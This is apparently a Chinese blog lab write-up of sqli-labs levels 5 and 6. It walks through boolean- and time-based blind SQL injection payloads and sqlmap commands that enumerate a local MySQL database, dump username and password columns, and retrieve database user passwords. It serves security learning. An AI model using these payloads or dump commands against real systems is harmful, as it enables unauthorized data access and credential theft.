sqli-lab平台练习五、六

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

开始先用常规步骤去试:发现网页没有出现数据库名,即没有出现常规的回显
sqli-lab平台练习五、六_第1张图片
我们把这个成为…类似的…盲注?(因为盲注不会有回显,但这个有网页的显示,可能只是开始我们学习,帮助我们判断)

这里总结几个判断数据库内容的函数

  1. 猜测数据库名字的长度:
id=1' and length(database())=8(你所猜测的数据长度) --+

可以看到盲注时只有猜测条件正确是网页会有对应的变化
sqli-lab平台练习五、六_第2张图片
不符合条件时:
sqli-lab平台练习五、六_第3张图片2.猜测当前数据库有多少表

?id=1' and 1=((select count(*) from information_schema.tables where table_schema='数据库名字')=数据表数)

3.猜测某个表里有多少列:

?id=1' and ((select count(*) from information_schema.columns where table_schema=‘数据库名’ and table_name='数据表名')=猜测列数) --+

那么开始盲注爆破,大概看了一下流程感觉手工注入很麻烦.,需要逐字爆破…

一.布尔型手工注入

布尔型注入,正确网页会回显,错误不回显。
爆破数据库(这里猜测第一个字母):

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and left((select database()),1)='s' --+

sqli-lab平台练习五、六_第4张图片

盲注中left函数的使用: 函数left(a,b) sql的left()函数表示的是从字符表达式最左边一个字符开始返回指定数目的字符.若 b
的值大于 a 的长度,则返回字符表达式的全部字符a.如果 b 为负值或 0,则返回空字符串. 一般用来猜测库的名字

就这样一点一点试来爆破出库名为security
继续,
爆破表名:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' --+

通过limit x,1和left第二个参数这两个位置来限定爆破的位置
sqli-lab平台练习五、六_第5张图片爆破字段名:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left((select column_name from information_schema.columns where table_name='users' limit%201,1),8)='username' --+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password' --+

爆破字段内容:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left((select username from users order by id limit 0,1),1)='d' --+
  • 注:按照id排序,这样便于对应。注意limit 从0开始
  • mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。

相关函数参考文章:https://blog.csdn.net/qq_41306131/article/details/84799049(SQL盲注中函数的用法)

二.时间型手工注入

时间延迟型注入,正确的会有延迟,错误的不会有反应,可以通过浏览器的状态来进行判断(但这样容易受网络状态影响,比如你的网很慢很慢…)
看到某位大佬的文章感觉说的很全,全程借鉴(感谢https://blog.csdn.net/qq_41420747/article/details/81836327):
本方法中payload = ?id=1’ and if(报错型payload核心部分,sleep(5),1)–+

所以首先猜测数据库长度

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(length(database())=8,sleep(5),1) --+

当输入正确时,可以看到很明显的延迟:
在这里插入图片描述
同理爆破表名,得到明显延迟:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if( left ( (select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(8),1) --+

爆破列名:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and if( left ( (select column_name from information_schema.columns where table_name='users' limit%201,1),8)='username',sleep(8),1) --+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if( left ( (select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password',sleep(8),1) --+

爆破具体用户名密码的具体内容:然后就慢慢爆破出来就好了…

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

判断注入点:

http://127.0.0.1/sqli-labs-master/Less-6/?id=1"

发现程序出错,剩下的和五操作一样

这里,我们换一种方法来进行爆破—————当当当当~用鼎鼎大名的sqlmap
首先去网上按教程安装好Python环境和SQLmap

第一步,爆库:可以爆出MySql中所有的库

XXX>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" --dbs

执行结果:
sqli-lab平台练习五、六_第6张图片
第二步 查找web当前使用的数据库:

XXX>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" --dbs

可以看到当前数据库为security
在这里插入图片描述
第二步:列出所有的表:

XXX>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" -D security --tables

-D 指定数据库
–tables 列出数据表
sqli-lab平台练习五、六_第7张图片
第三步:列出表中字段

XXX>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" -D security -T users --columns

-D:指定数据库名称 -T:指定要列出字段的表 --columns:指定列出字段
sqli-lab平台练习五、六_第8张图片
第四步:爆字段内容

-C:指定要爆出的字段 --dump:将结果导出

python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" -D security -T users -C"username,password" --dump

sqli-lab平台练习五、六_第9张图片
至此,数据库被爆破,简直很方便了

拓展,可以看一看SQLmap一些别的语句的用法:
1.列出MySQL所以用户的名字:

XXX>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" --users

在这里插入图片描述
获取当前用户名:

`XXX>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" --current-user

在这里插入图片描述
2.获取当前账户与密码:

XXX>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" --passwords

借鉴文章:
1.https://zhuanlan.zhihu.com/p/35905745(SQL注入之SQLmap)——列举常见命令
2.https://www.jianshu.com/p/17509d0a1ba3(简书:SQLMap基础操作学习)——针对相关sqli-lab平台的

你可能感兴趣的:(Web安全sqli-lab)